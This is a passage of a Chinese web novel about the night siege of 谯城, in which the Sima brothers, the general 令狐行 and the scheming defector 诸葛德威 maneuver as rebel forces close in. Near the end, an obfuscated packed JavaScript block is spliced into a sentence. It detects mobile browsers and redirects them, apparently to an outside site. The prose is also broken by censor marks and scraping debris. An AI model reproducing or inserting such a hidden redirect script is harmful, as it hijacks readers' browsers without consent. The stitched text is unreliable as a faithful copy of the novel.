“不投降也有一条路。”见到对方这般姿态,何稀一时生惧,却咬着牙,指向了天上的紫色云幕。“雄伯南就一个人,咱们赌一赌,一起腾跃起来,你往北我往南,生死有命,看雄伯南到底拿谁!” 司马德克仰天看了看那紫色云幕,咬咬牙,忽然腾起,却居然是在两军数万人的目瞪口呆中化作一道流光直接砸向了那面紫色巨幕。 而在这“左仆射”腾起那一瞬间,素来理性何稀便已经明了……可能对方一开始军变是为了回家,但走到眼下,却是根本割舍不下这个空头的左仆射,还是要妄想靠着下面已经没救的部队,求得人上人的滋味。 哪怕这个滋味,这厮根本就没有真正尝过,只是似乎有了尝到的可能,再加上如今一日兵败的刺激,也变得疯魔了。 空中巨大的紫色帷幕卷动起来,只是一卷,便将那道流光给完全包裹住,然后空中仿佛有一个无形巨人一般,直接将裹着那位大魏左仆射的帷幕卷子给狠狠砸到了地上。 众目睽睽之下,除了正下方被波及到的禁军将士狼狈逃窜外,几乎所有人都维持着目瞪口呆之态。 反复数次之后,眼看着那道紫色巨幕卷向已经被黜龙军控制的张圩子后,黜龙军自然是欢呼震野,而那些禁军,虽然也似乎恢复了活动,却不知道是不是错觉,莫名安静了不少……不管是向外投降还是没头苍蝇一般往里钻,甚至包括沟渠内的相互踩踏,都变得小心翼翼起来。 另一边,司马德克被从天上扔到圩子的土堤上时,虽然全身都有血色,但居然还有一口气。 “到底是成丹高手,挺硬实的。”雄伯南气喘吁吁,但依旧遮不住眉目的喜色。“这就是司马德克吧?” “是他!”白有宾双目发光。 “司马左仆射,愿意降吗?”张行看着地上的血人,诚恳询问。 趴在那里的司马德克四肢都没有动,只抬起头来,眼角一耷拉,缓慢而又坚定的摇了下头。 “好,宰了,传首劝降。”张行轻松给出答复。“你们谁动手?” 话音未落,雄伯南毫不犹豫,早持着大旗走上前去,只将旗杆往对方背心部狠狠一戳,便将这位左仆射给当场处置……旁边白有宾和虞常南齐呼可惜,又齐齐振奋! 白有宾拎着刀连转了两圈,虞常南则不顾体面,直接跪地以手捶泥。 “你降不降?”张行没有理会这些情形,反而显得有些着急,那边人一死,便立即看向身侧另一人,赫然是被之前俘虏的牛方盛。 牛方盛哆嗦了一下,一时没有吭声,不知道是不愿意降还是被吓到了。 “打断他双腿。”张行点头吩咐,同时站起身来,根本不顾不远处敌军中心的惊呼声和各种动静。“准备送到谯城……我要带走一个营,现在就往谯城去!” 竟是不管不顾这数万敌军的生死,先行去谯城了。 “这里是什么?” 几乎是同一时间,百里开外,莫名心脏乱跳的老宗师鱼皆罗忽然注意到了自己左侧的一片地形,雨水只是稍驻,便居然已经有雾气逸散开来。 “是三汊泽冒出来的雾气。”有参军即刻做答。“据说是呼云君的典故,祂因淮水被夺,趴在河对岸的当涂山上往淮北呼云。” 鱼皆罗忽然一怔,当场勒马:“这片起雾的沼泽背后便是淮水?” “是。”参军不解其意,还是解释。“水道蜿蜒,确实如此。” 鱼皆罗看了看眼前大面积的沼泽,想到自己渡河过来沿途没有遭遇任何黜龙帮的阻击,却是当场起了一个念头,然后扭头来看自己身侧的诸人:“你们想活命吗?” 周围将佐、参军、侍卫莫名心慌,一时不知所措,不知所答。 “传令下去,咱们从三汊泽里走。”鱼皆罗这个时候反而平静了下来。“不许声张,也不用告知赵忌将军,路是自己选的……谯郡那里的战事,十之**没了,咱们过去必死无疑,想活命的,现在跟我走。” 说完,这位大魏朝的老牌宿将、宗师,居然离开官道,打马往泥泞不堪、是不是雾气滚动的三汊泽中而去,竟是远远绕开了前方的谯郡。 天黑了。 雨也停了。 谯城内,诸葛德威又替司马丞相准备好了晚餐和佐餐之酒,并亲自安排好了晚间沐浴、住宿的事情,这才匆匆转了出来,而这一次,**是不是吃一堑长一智,并没有从侧廊离开,而是选择孤身从前门直接转出。 结果,刚一出郡府前门,迎面便被一人堵在了门槛处,然后批头来问: “诸葛头领是黜龙帮诈降的内应吗!” 诸葛德威心惊肉跳,抬起头来,彻底慌张。 原来,站在他面前的,赫然是司马丞相的心腹、智囊,随行大魏中书舍人封常。 此人气喘吁吁,行止狼狈,脸色在刚刚打起的灯笼映照下显得扭曲不定。 诸葛德威刚要说话。 孰料,封常上前直接揪住这位河北老乡,压低语气,颤抖来言:“诸葛头领,你最好是,否则你我将死无葬身之地!黜龙军前方大胜,数万禁军主力一战而殁,信使前脚刚到,后面便已经有黜龙军的兵马悄无声息急行军堵到城前了!” 诸葛德威便要再说话。 孰料,也就是此时,城南方向,忽然便响起一阵喊杀声,俨然是两军大队在城外交战。 封常更加慌乱,赶紧来看诸葛德威。 诸葛德威张了张嘴,这次却不知道该说什么好了……是真不知道。 PS:前几天写了个绍宋的番外,大家可以在手机端看到。 第三十一章风雨行(31) 谯城南侧的战斗是在牛达、张道先所率领的两营兵马与司马进达的部队之间发生的。 作为最靠近谯城的一支部队,牛达得到军令后只留下他不熟悉的苏睦一营兵马看守驻军其实不多的城父城,自己便带着张道先极速赶往谯城。 坦诚说,牛达接到军令后对张三哥张首席只有感激。 当然感激! 张三哥跟他牛达说是兄弟,其实就是当年东都的一次遭遇,也还是人家张三哥和秦宝单方面救了他涉世未深的牛达,后来等张三哥来到东境拉杆子,四五年到了眼下,居然恢弘数十州郡,喧嚣于世,放在之前几百年的乱世早就称王称帝了……那他牛达跟人家实际上什么关系呢? 就是君臣,最不济也是帮派里老大跟喽啰的关系。 而这种关系下,对方能不计较自己各种奇怪的屡战屡败,始终坚持任用,而且是明显是一直坚持做大将任用,委实让人感激。 这一次更是无话可说,一面是给了一个集团的指挥权,然后又直接送上了禁军首脑这么大一个立功机会,任谁也要感激的。 然而,谁能想到,居然有一支禁军部队这么果断的扔下中部集团,巧妙而及时的越过了黜龙军的包抄部队,跟自家前后脚来到了谯城城下呢? 双方都猝不及防,背后遭遇突袭的牛达心中早就恨的骂娘,可司马进达又能好哪里去?后者的兵马根本就是折腾了一整日,早就疲惫欲**。 俩军登时陷入混战与苦战。 城内,正在赶晚场的司马丞相明显喝醉了,但还没醉倒,此时自然也闻得动静……而中书舍人封常、原城主诸葛德威二人不知道为什么,来的特别快,几乎是第一时间便来到堂上。 司马化达明显心慌,也明显脑袋发晕,只能勉力来问:“何处交战?何人交战?” 两人面面相觑,还是封常上前,先屏退周围所有人,尤其是那几个陪着喝酒的马屁文吏军官,便是几个司马氏贴身私卫也被要求立到堂门前,然后方才无奈拱手告知:“回禀丞相,是城南有两股兵马交战,至于何人……无外乎是禁军与黜龙贼,非要说第三家,只能是司马大将军从东都来了。” 这话回答的滴水不漏。 然而,司马丞相想了一想,反而惊吓:“二郎要杀我?” 这是什么话?! 封常满头大汗,只能小心来言:“回禀丞相,在下觉得不会。” “你不懂。”司马化达幽幽来言,一副看破一切的姿态。“你不懂,便是二郎自家不好行为,也有王代积这种人替他做,是要防备的。” 我不懂个屁! 封常无语到了至极,还是只能低头小心翼翼来言:“丞相,是这样的,属下来此,并不是因为知晓城外交战,而是知晓南方军情,路上恰好撞上这个动静……”…。。 封常说到这里便闭了嘴,乃是等对方主动询问,结果等了片刻,并没有半点动静,抬头去看,却发现这位丞相只在那里坐着发懵,也不知道是被吓得,还是酒劲委实难过去。 无奈之下,封常只能硬着头皮告知对方:“丞相,我军主力……左仆射、右仆射、崔将军、何将军四位大将,不晓得具体多少兵马,一起在城父西南一带战败,只知道右仆射领了几千人逃出来,其余人生死不知,据说全被围了……换句话说,城外十之**是右仆射刚到的残兵,而跟右仆射交战的,也应该是黜龙贼。” “是这样吗?”司马化达听到一半就慌了,强压着等对方说完,赶紧来问。“若是如此,如之奈何?” 封常松了口气,赶紧来答:“大局艰难,眼下则当速速出兵,从西门出去绕行,然后与右仆射做夹击,击败当面之敌,将() 右仆射接入城内,方可再商议大局。” 诸葛德威看了封常一眼,默不作声。 “也只能如此了。”司马化达点点头,目光从封常身侧的诸葛德威身上掠过,直接朝门口的私属侍卫下达了命令。“请令狐将军来。” 没错,出兵肯定是让令狐行带队的,丞相肯定是要在后方运筹帷幄的。 须臾片刻,令狐行全副甲胄来到堂上,不过,这位丞相身边唯一的领军大将听完叙述后,却明显有些迟疑。 “令狐将军。”这个时候,倒是一旁封常有些等不及了。“军情如火,何必迟疑?” 令狐行瞥了此人一眼,心中了然,却并不回应,反而只蹙眉朝司马化达拱手:“丞相,右仆射将丞相安危托付给在下,在下不敢不言……诸葛德威既与你出的这个出城夹击的主意,其人则必是黜龙贼的内应,可以立即斩首!” 堂上其余三人,某种意义上都是聪明人,却俱皆一愣。 回过神来,诸葛德威看了令狐行背影一眼,又看了错愕加愤怒的封常一眼,低头叉手,却还是没有吭声。 封常第二次想开口说话,而这一次却被司马化达阻止了,后者抬手示意,眯着眼睛,带着酒气来看令狐行:“令狐将军这话如何说?诸葛太守的建议明明光明正大呀!” “正是表面光明正大,实则包藏祸心。”令狐行昂首扶刀,不屑一顾道。“常理上来说,外面应该是黜龙贼与我们的人在交战,可以出城夹击,但实际上,外面交战是天黑后才交战的,交战双方都是谁,战况如何,双方具***置兵力如何,谁也不知道……不要说有可能是黜龙贼自家做戏骗城,便真是右仆射和黜龙贼在作战,我们现在开城,都有可能被黜龙贼埋伏的兵马摸进城来!届时城内空虚,那属下敢问丞相,丞相安危谁人负责?至于诸葛德威,他本就是这一郡太守、一城之主,更加方便接应贼兵,那他此时这般建议丞相,岂不显得可疑?”…。。 外面雨已经停了,但还有淅淅沥沥的积水从屋檐上滴落。至于堂上几人,司马化达歪着头在案上若有所思;令狐行昂首挺胸,独立堂中,似乎一切在握;诸葛德威仿佛傻子一般半低着头;封常也是一般低头,但好几次抬头,又都好几次低了下去,俨然是在酝酿什么……几个人都好像一时失语,以至于堂上寂静无声。 隔了许久,还是上座的丞相叹了口气,打破沉默:“令狐将军想多了,诸葛太守应该是不通军事,没想这么多……只说现在局势危殆,若不出兵,又该如何?” 令狐行想了一想,认真来对:“其实,若是按照战场距离以及双方兵力来算,黜龙贼便是大胜,其主力也不大可能这么快脱离战场来到城下的,那丞相何妨现在扔下辎重累赘,直接连夜出城往西北走?之前考虑路线、补给,是因为要为禁军全军考量,现在大局已坏,主力尽丧,咱们自行出发,便没这么多计较了。” 司马化达茫茫然一片,稀里糊涂便要点头。 倒是封常忽然上前,恳切来言:“丞相不可!” “这是何言?”司马化达是真懵了。 “丞相,道理很简单。”封常在令狐行的斜视下从容来对。“属下敢问丞相,若是出城夹击须防备黜龙贼趁机抢城,那夜间出城逃窜,就不怕被黜龙贼发觉追上吗?黜龙贼的主力是不在,可北面兵锋就在城下,而咱们在前面又没有接应,人家只要分出小股部队跟上就行!然后天一亮,黜龙贼那几个骑兵营就可以从容追上,将我们围住!” “确实。”司马化达恍然一时。“连夜出城太危险了!” “可是丞相。”令狐行赶紧来劝。“若是不走,也只是困守孤城……甚至贼人主力一至,什么宗师两三个,成丹凝丹二三十的,城池也() 无用,还是死路一条……我估计,后半夜黜龙贼就有援兵到了,明日上午主力就会到了。” “还有一件事。”封常也苦口婆心。“夜间出逃最大的倚仗不是兵力而是可靠战力,七将军是丞相亲弟,又是成丹高手,没有他,我们逃窜路上只是被几个黜龙贼高手追上,便没了结果……令狐将军虽然忠勇,怕也是无用。” 令狐行终于对封常怒目而视,后者却根本不看前者,是对案后那个酒气熏天的人躬身俯首,倒是门口的司马氏私兵们明显听懂了这话,忍不住回头来看。 “也是,也是。”意见分歧公开化,司马化达犹犹豫豫,只能趴在案上仰头四顾茫然。“可是……可是这样……又如之奈何?” 这个时候,堂上另外一人,也就是一直没吭声的诸葛德威早已经瞧明白了……之所以是眼下这个局面,主要就是令狐行与封常各怀鬼胎。 首先,两个人都因为局势动摇过,也都对司马化达不以为然,但动摇的程度却各不相同。…。。 这点,从之前两人来试探自己这个降人的过程就可以窥得一二。 令狐行有兵在手,家门也高,大不了拍屁股去找白横秋,算是有所恃,所以居高临下,姿势从容,上来就毫无忌惮的试探;相对而言封常就慌乱许多,并且一直到前面大败的消息传来才找自己,俨然是孤身一人势单力薄,看局势走向再行事的意思多一些。 其次,这俩人即便动摇,也只是出于对局势的担忧,并不是真想降服,他们都没有把投降黜龙帮当做第一选择……封常见到外面交战,晓得可能是司马进达回来了,第一反应是出兵接应;而令狐行则想护着司马化达趁机逃走。 最后,这二人明显也有矛盾。 封常的方案,是最合理的,但拿现有兵马冒险迎接司马进达入了城,他令狐行还算个屁?索性装糊涂,踩着封常提出了扔下司马进达逃走的方案,这个方案其实迎合了司马化达贪生怕死的念头,但没想到司马化达过于贪生怕死,连夜间逃窜的风险都不愿意付……结果自然引来封常的反击。 正想着呢,忽然上方来问:“诸葛太守,你以为该如何?” 诸葛德威抬起头来,看到是司马化达来问,却是毫不犹豫,“扑通”一声跪了下去。 不止是司马化达,包括其余两人也都愣住。 “丞相,我一个降人,说什么都是要被人攀诬指责的!”诸葛德威既下跪伏地,居然立即就带了哭腔。“赞同出城夹击,便说我跟黜龙贼交通,趁机引兵入城;赞同逃走,就说我包藏祸心,故意置丞相于险地,甚至说不得早就在前面布置好了陷阱要引丞相入彀;便是说请丞相留在城内固守,也要说我拖延时间,等贼人来合围的……我能如何?” 司马化达叹了口气,看了看其余两人,但两人都不吭声,也是无奈,便要自行安慰这降人。 结果,就在这时候,诸葛德威抬起头,涕泪满面之余,竟忽然在灯火下咬破手指,然后以血指举手指天:“丞相,我委实无法,只能在这里指着三辉四御给您立个誓!若是要出兵夹击黜龙贼,我愿做先锋!若是要往北走,我愿背着丞相走!若是丞相要留继续在城里,我愿意持剑为丞相守门!便是为此疑虑,就地斩了我,我也心甘情愿!” 这下子,不要说这三人,就连门口扭头观望的司马氏私兵都愣住了。 而司马化达看对方如此激烈,就要再来安慰。 孰料,诸葛德威复又叩首恸哭不止:“丞相!不是我到了这个时候还要作态,而是我已经无路可退,只有丞相一个依靠了!” “诸葛太守说的哪……!” 司马化达终于能开口了,似乎要起身来搀扶,结果刚一起来,便又跌坐() 回去,慌得封常赶紧去搀扶。 扶着丞相坐下了,还不忘回头“埋怨”令狐行:“令狐将军,你看丞相这个样子,如何能夜奔?”…。。 “出城作战难道就容易了?”令狐行皱了皱眉,本能反驳。 然而,这话说完,眼看着周边几人一个比一个能作,尤其是司马化达那个鬼样子,明显不可能速速做决断的,便干脆不再理会,直接拂袖而去了。 当然,令狐行世族子弟作风,又在禁军厮混,怎么可能就被一个酒蒙子、一个江湖混混、一个无赖文书给拦住? 其人离开郡府,堪称雷厉风行,第一时间便召集了城内禁军,乃是下令部队一面谨行城防,不许擅自出兵,也不许擅自开门纳人,一面则赶快收拾东西,主要是装备和干粮,准备护送司马丞相北走。原来,这厮已经下定决心,待会回来私下再劝一下司马化达,若是这厮果真不愿北走,便直接裹挟了他,强行把他带走! 为什么还要再劝,而不是直接动手?原因也很简单,那就是即便到了眼下局势,司马化达手里还有张底牌……其人身侧有一支精锐私兵,就是之前站在堂外,目前主体驻扎在郡府后面两侧公房里的那支精锐部队,虽然接触时间不长,令狐行也猜的到,估计全都是有修为的高手,为首的那个老头甚至可能是司马长缨留下来的凝丹高手。 故此,真到了万不得已,恐怕也只能近身劫持司马化达,才能把人带出去了。 带着这种决意,折腾了一阵子的令狐行带着一大队军士回到了郡府,迎面遇到了出门来的诸葛德威,便招了招手。 脸上还有泪痕的诸葛德威不敢怠慢,小心上前:“令狐将军请说。” “封舍人还在里面吗?”令狐行蹙眉来问。 “在。”诸葛德威赶紧做答。 令狐行顿了一下,因为不知道是不是错觉,他感觉城南的喊杀声似乎更大了一些,而且隐隐有流光闪。 但无所谓,战事越激烈,他越要及时离开,便又来看身前之人:“诸葛头领,不管你是不是内应,都回去速速收拾下东西,准备跟我们去东都,马上就走。” 诸葛德威没有半点迟疑,赶紧行礼称是。 令狐行点点头,便率众昂然进入郡府。 诸葛德威也低头向前,走到前方转向自己所居县衙路口时,却忽然黑了脸,然后立在阴影中身形不动,却回头来看令狐行的背影。 很显然,令狐行还是把诸葛德威当成了一个必要时跟黜龙帮沟通的渠道,所以才要带着对方,而诸葛德威也立即意识到,这位掌握城内兵权的禁军首领已经决定自行其是了。 但这可不是诸葛头领乐意见到的一幕……因为一旦连夜出城向北,风险就太大了,万一真让司马化达逃了怎么办? 自己这手指不是白白咬破了吗?不白哭的眼泪一把鼻涕一把了吗?不白磕头了吗? **对张首席自己都没磕过! 一念至此,诸葛德威甚至觉得手指有点疼。…。。 他站在阴影中,安静的等着,过了一阵子,看见一个身影略显狼狈的从郡府侧门中出来,却是立即不顾还有其余军士在场的情况下大声呼喊。而那人听到声音,四下瞅了几眼,发觉郡府门前军士都在往城南方向看,也是毫不犹豫低头钻入阴影。 两人见面,诸葛德威拉着那人,也就是被赶出来的封常了,直接转入一个巷口,便立即出言:“令狐将军怕是要强行带丞相北上了。” “我知道。”封常咽了下口水。 “如此,你便要**。”诸葛德威恳切提醒。 封常一怔,复又苦笑:“我如何就**?” “刚刚令狐将军见到() 我,让我收拾东西随他走,俨然是觉得我还是黜龙帮内应,必要时拿我做个说话的。”诸葛德威平静分析。“我有用,可以活。封舍人呢?你既恶了令狐将军,又是个没到凝丹的文修,路上一个壮汉怕是都能持刀把你杀了……” “他为何一定要杀我?”封常焦急打断对方。 “没说一定,只是有可能要你命。”诸葛德威纠正道。“但你真要赌上自己的命,把命交到人家手里吗?” 封常转过脸去,气喘吁吁。 “而且。”诸葛德威眯着眼睛,指向城南方向。“这还只是说黜龙帮追不上咱们的结果,若是黜龙帮追上来,你还是无用,也有可能要你的命……一来二去,你活命的成算还有几分?” 封常回过头来,死死盯住了眼前人。 但诸葛德威毫无畏惧,迎面对上对方的目光。 半晌,封常方才冷笑:“你果然是黜龙贼内应。” “我不是。”诸葛德威摊手道。“但局势变化这么快,知道我是主动投降的人不过司马丞相身边区区数人,若真有黜龙帮兄弟围上来,我只说自己是诈降,帮内到底如何处置我我不知道,但我到时对那领兵头领说就是那个封常该死,他如何处置你我也是不知道的……” 封常不吭声了。 诸葛德威也不吭声,只盯着对方等待回应。 过了一阵子,封常终于一声叹气:“你意欲何为?” “留下司马丞相。”诸葛德威言简意赅。 “我要能留下他,何至于现在被人拎着刀撵出来?”封常冷笑拂袖。 “你不能留下,但有人能。”诸葛德威言道。“令狐行依仗的不过是禁军,可是禁军只听他的吗?我们只要寻到禁军中忠于司马丞相的,就说令狐行非但对司马进达见死不救,还要挟持司马丞相逃窜,让这人开城去寻司马进达进来,不就行了?” “不行。”封常摇头道。“司马进达进来,也不会耽误时间,或战或走而已,你的目的达不到。” “那怎么能达到?”诸葛德威诚恳来问。“乱起来就行,找到那些人,让他们去阻拦令狐行,乱起来就行,没必要强求什么结果。”…。。 “你应该对这支禁军比较熟悉,谁能用?” “确实有一部能用。”封常拢手而言。“可是,如此我就能被黜龙帮任用了吗?” “任用?”轮到诸葛德威愣神了,但他马上醒悟,赶紧摆手。“都说了,我不是内应,便是向帮内说了你的功劳,等我倒霉了,你又如何?” “只要你说就好。”封常斩钉截铁。“倒霉了算我的。” 诸葛德威看了看对方,晓得不做承诺是不行的,便点了头:“我只说你有功劳,还是要看张首席本人的处置。” 封常也点头:“就在后面公房里,司马氏的私兵,几十个高手,为首的应该是个凝丹……你带我去郡府后门,我去说。” 诸葛德威点点头,也是毫不犹豫带着对方从巷子另一头离开,绕了一大圈,来到郡府后门,进入公房内。 入得公房,封常一马当先,踉踉跄跄,便做呼喊:“司马将军救我!有人要害我!” 公房里立即骚动起来。 诸葛德威愣了一下,明显畏缩,但很快他就咬咬牙,一头扎了进去。 城南数里的官道路口,司马进达已经绝望了……不仅仅是因为张行居然提前派了部队过来,也不仅仅是刚刚伍惊风忽然单枪匹马从空中划来,更重要的是,苦战、乱战到现在,城内居然毫无动静。 若是一开始就出兵,趁着对方立足未稳,一下子就冲开了,什么事都没有! 便是没出兵也行,依着自() 家兄长的德行,趁机跑了,也不枉自己辛苦这一回,可是一直战到现在,也没见城里有逃窜的动静,这是怎么一回事? 不战不逃?! 便是喝的不省人事,令狐行和封常在干吗?! 背起来跑便是。 正在想着呢,一名手下队将忽然在西北方向大呼:“七将军!七将军!” 司马进达本不该接应的,因为伍惊风的黄风就在不远处的路口乱滚,但此人正是他派出去入城传递消息的,而他本人千辛万苦至此就是为了城内那位好大兄,所以如何能忍? 便一咬牙,也腾空而起,一个雀跃落在了那名下属的方向。 双方打了个照面,那队将晓得情势危急,当场告知:“七将军!城门被锁了,说是令狐行下的令,不许任何人进入,以防黜龙贼冒充我们赚城!” 这个回答其实很在情理之中,甚至也在意料之中,只能说,有些不顺罢了。但不知道为什么,司马进达还是懵了一下,继而心情沉到了底! 他现在只觉得一切都糟透了,事情是从徐州开始糟糕起来的,然后一桩桩一件件就没有顺利的。 他不想这个时候还做什么马后炮,自我安慰自己做的选的都没错,错的都是别人! 他只是觉得一切都糟透了! 就在这种强烈的情绪侵袭下,司马进达甚至没有听到耳边的惊呼声,干脆被那道土黄色的光芒掠到面前方才如梦方醒,其人与伍大郎在空中交手几个回合,却忽然一闪,又落在原地,对已经负伤的原本那位队将做了交待:“都走!往西北走!自家寻路!我没法带你们了!”…。。 说完这话,其人再度跃起,与伍惊风当面一碰,撞得伍大郎空中几乎倒飞了出去,而待后者翻滚了下来,抬头去看时,却发现那道流光已经往城内方向划去,却不急反喜。 甚至是惊喜万分!乃至于当场大笑! 他知道,昔日司马氏名震关陇的司马七郎,如今大魏禁军最后一根脊梁,已经放弃抵抗了。 随着司马进达的逃窜入城以及伍惊风的狂笑,城外的这股原本就已经到极限的禁军登时溃散,毫无组织的往西面、南面,甚至北面而去……没办法,哪怕是司马进达指明了唯一的逃窜路径,部队夜间真溃散时又怎么可能真得辨析清楚? 黑暗中,牛达也在呼喊,却是让部队放弃追索,往城下靠拢。 司马进达狼狈飞入城内,却居然也不敢让守城军士打开城门让溃兵入城,只是寻到军士问清楚司马化达落处,便径直飞去。 来到郡府,此处正上演一出剑拔**张的好戏。 当然,**是真没有张,但剑是真拔了……令狐行挥舞长剑,立在司马丞相侧前方,严厉呵斥封常与司马氏私兵!而私兵们控制住了郡府大堂内外,也在那里喧哗,而堂外庭院中的地上,赫然已经出现尸体。 便是司马化达本人,似乎也酒醒了,只是歪着头带着某种奇怪神情斜眼来看令狐行后背。 至于被呵斥的封常则带着诸葛德威躲在了堂门外,只出个声音。 就在这个时候,司马进达来了。 一道流光划过,落在堂前,封常一个激灵,立即扑上前去:“七将军!速速救下丞相!我等本要出兵援护,结果令狐行见机不谐,居然就要弃了七将军,劫持丞相自行北归!” 令狐行在内,闻得动静,本欲驳斥,却不知为何,先手足灌铅……之前的决断和傲慢,此时宛若见了太阳的霜雪一般,一下子就黏稠起来。 而司马进达赤手空拳入了堂上,看到眼前场景,却并没有直接对令狐行发难,反而是看向了自家大兄。令狐行察觉到这一点,有心回头去看司马化达表态,() 却居然不敢背对司马进达,只能额头沁汗,手中刀子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167986|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢放下。 司马化达一声不吭,只是斜视令狐行背影,努嘴示意。 司马进达见到,毫不犹豫,便往前行,只是一步,令狐行便支撑不住,居然弃了一切,鼓起真气往堂顶天窗腾起,却不知道是修为不足还是这郡府大堂修的坚固,居然在天窗这里一滞,也就是一滞,其人便觉得头晕目眩,继而全身剧痛,挣扎起身,已经是口鼻出血,耳鸣失衡。 原来,司马进达早已经追上,拽住对方脚腕,直接掼在了堂上石板之上。 这个时候,早有司马氏私兵涌上,将令狐行打断腿骨,给牢牢捆缚,押了下去。 封常也赶紧进入堂上,便要说话。…。。 结果,司马进达一摆手,拦住了封常,反而看向了自家兄长:“大兄,封舍人要你出兵援救?” “是。”司马化达明显清醒了不少,就要解释。“但我……” “兄长不必解释……令狐行要你自行北上逃窜?”司马进达继续来问。 “是。”司马化达继续点题。“但我……” “兄长。”司马进达忽然一屁股跌坐下去,然后就在地上歪着头悲愤来问。“我不是问你为何不去救我,或者为何不立即逃窜,而是问为什么两个策略一个都不选,反而犹犹豫豫,最后弄得被人拿刀子给挟持住?我扔下中军的将士,拼了命的回来,不就是怕你被黜龙贼俘虏,为人所制吗?!” 周围人一声不吭,司马化达犹豫了一下,略显尴尬的应了一声:“我那时候醉的厉害。” 司马进达看了自家兄长一眼,竟也一句话说不出来,司马化达也只是讪讪。 兄弟二人此时相顾无言。 停了片刻,封常小心来问:“如此,丞相、仆射,咱们是不是也该走了?” “能走还是要走,但只怕现在能不能走不是我们说了算。”司马进达吩咐道。“我军势已溃,若是黜龙贼压上来的快,便走不了……你去做好出逃的准备,瞅准缝隙,若是可行,咱们就走,若是不行,再寻我来说。” 封常忙不迭拱手告辞。 走出门外,一直隐身的诸葛德威立即低头跟上。 人一走,只剩自家私兵,屋内兄弟二人倒是放松不少,司马化达也进一步解释:“我当时真是喝多了,脑子转不过来了,后来慢慢的就醒悟过来,哪个都行,只是令狐行跟封常两人内斗,把我绕进去了。还有那个诸葛德威,表面上奉承我,却引着我留下来,让我觉得走不走,救不救都无所谓,这人应该就是个黜龙贼内应……等我醒悟,想要出兵救你,结果令狐行直接拎着刀带着人来了,也就是封常自己怕死,又把咱们自家人给带来堵住了他……” “什么都无所谓了。”司马进达敷衍颔首。“大兄,你若酒醒,就准备一下,咱们准备出逃。” “好。”司马化达自然无话可说。 “我说的是现在,让咱们自家人护着咱们俩走,立即就走。”司马进达随即强调。“趁封常去吸引贼人注意。” 司马化达一愣,旋即惊恐起来:“何至于此?” “已经是生死存亡了。”司马进达拍着地,无语至极。“几万人一败涂地,司马德克那些人不知道有没有死光,你还想着安逸吗?” 司马化达微微皱眉,只是解释:“我醉成这样,平素也无锻炼,若此时出逃,便是没有黜龙贼追上,也说不定能从城头掉下去摔死!终南山喝醉摔死的关陇贵种少了吗?” “便是摔死又如何?”司马进达坐在地上平静回复。…。。 “何意?”司马化达忽的彻骨冰寒。 “我此次没有在前面随诸军将() 士一起战死,以至于拼了命丢了脸也要回来,就只为一件事。”司马进达冷冷答道。“就是不让司马氏的家主为人俘虏!” 司马化达愣了一会,然后忽然将案上酒壶拎起,狠狠砸向对方,然后不顾一切暴怒起来:“我就知道!你眼里素来没有我,只是怕我成了二郎的累赘!当日在徐州,你杀了我爱妾的时候我就知道!迟早有一日你要杀了我的!” 司马进达看了自家兄长一眼,抹去了额头上的酒渍,分外平静,外围的司马氏私兵这次也都老老实实低头看地。 “我绝不拿自家性命冒险!”司马化达见状,愈发愤恨,却是掀起桌案,转到后方去了。“就在这里等死吧!看那个忠臣孝子来不来救?” 司马进达一声不吭,也不去看自家大兄,只是仰天望了望被开了一半的天窗,盯着天窗中隐约可见的几颗星星看了看,然后闭上了双眼。 城外正乱糟糟一片,诸葛德威悬着绳子出了城,结果刚解开绳子,一个蹴溜一下子就砸入墙外壕沟,摔得这位黜龙帮头领、本郡太守四肢酸痛,好像一条腿也崴了,费劲力气起身,却又因为沟内湿滑积水,半晌没有爬出去。 诸葛头领自家都蒙了,千难万险,斗智斗勇都过去了,难道要被一条小沟给困死? 这也不敢喊呀! 外面那么乱,谁也不知道谁,你说什么怕是都少不了一枪戳下来,一箭射下来的。 正哀叹间,忽然听到一个声音,正在大声指挥部队注意环城各处动静,诸葛德威也是大喜,赶紧在沟内趴着大喊:“牛大头领救我!” 牛达一愣,等了片刻,又听到一声,晓得无误,而且确实有些耳熟,赶紧去寻人,却果然是顶着城墙上几只乱箭将诸葛德威救了出来。 双方见面,牛达表情古怪。 诸葛德威俨然晓得对方意思,赶紧解释:“牛大头领不要怀疑,我是首席安排的内应,专门把司马化达往城内引的……之前你们作战时司马化达想出兵救援又想要趁机逃跑,都被我拖住了,现在司马进达入城,你们又迫近城来,便赶紧妥善……牛大头领若是不信,见到首席便好。” 牛达点点头,给出答复:“无妨,首席马上就到。” 诸葛德威一时诧异,但牛达并没有说谎,仅仅是两刻钟后,张行就出现在了他们的面前。 “诸葛头领辛苦了。”张行听完汇报,开篇明义。“此番你的功绩,不亚于前方作战的诸位大将!” 诸葛德威折腾许久,闻得此言,却是瞬间开阔,连崴的脚都不疼了。 安抚完诸葛德威,张行便看向牛达:“牛达,你要辛苦一些,一面要接收部队,围困城池,还要伍大郎他们注意是否有高手自行潜逃;一面要替我联络涡河以东,此地以南,打探北面和西面情报,对接跟来的文书、参军,就在此地建立指挥中枢。”…。。 听到前半句,牛达还有些惊愕,居然让自己指挥伍惊风,但听到后半句,却当即肃然:“三哥的意思是,暂时围住,不趁机攻入吗?” “没错,夜间太乱,逼急了太容易出意外,而我想要活的。”张行一边点头一边。“一则南边还在收尾,禁军还有最少三支过万的成建制部队在战场外侧,不知道胜负,此一时彼一时,彼时司马化达做禁军首脑,利于我们作战,现在俘虏他,也有利于我们阻吓其余禁军;二则,禁军虽败,东都位于天下中心,自带数百万人口、积攒粮帛金铁无数,却不是那么轻易动摇,更兼司马正浑然天成,做大做强情理之中,我想留个应对他的抓手。” 牛达连连颔首,跟来的白有宾与虞常南也没有驳斥的意思……与司马兄弟是死是活,被谁处置,如何处置相比,他们现在其实更怕司马兄弟死的不明不白,() 那可真是。 一夜之间,城内虽然骚动,但却始终没有突围、逃散之意,尤其是张行在牛方盛身上绑了一封劝降信送进去后,就更是安静了下来。 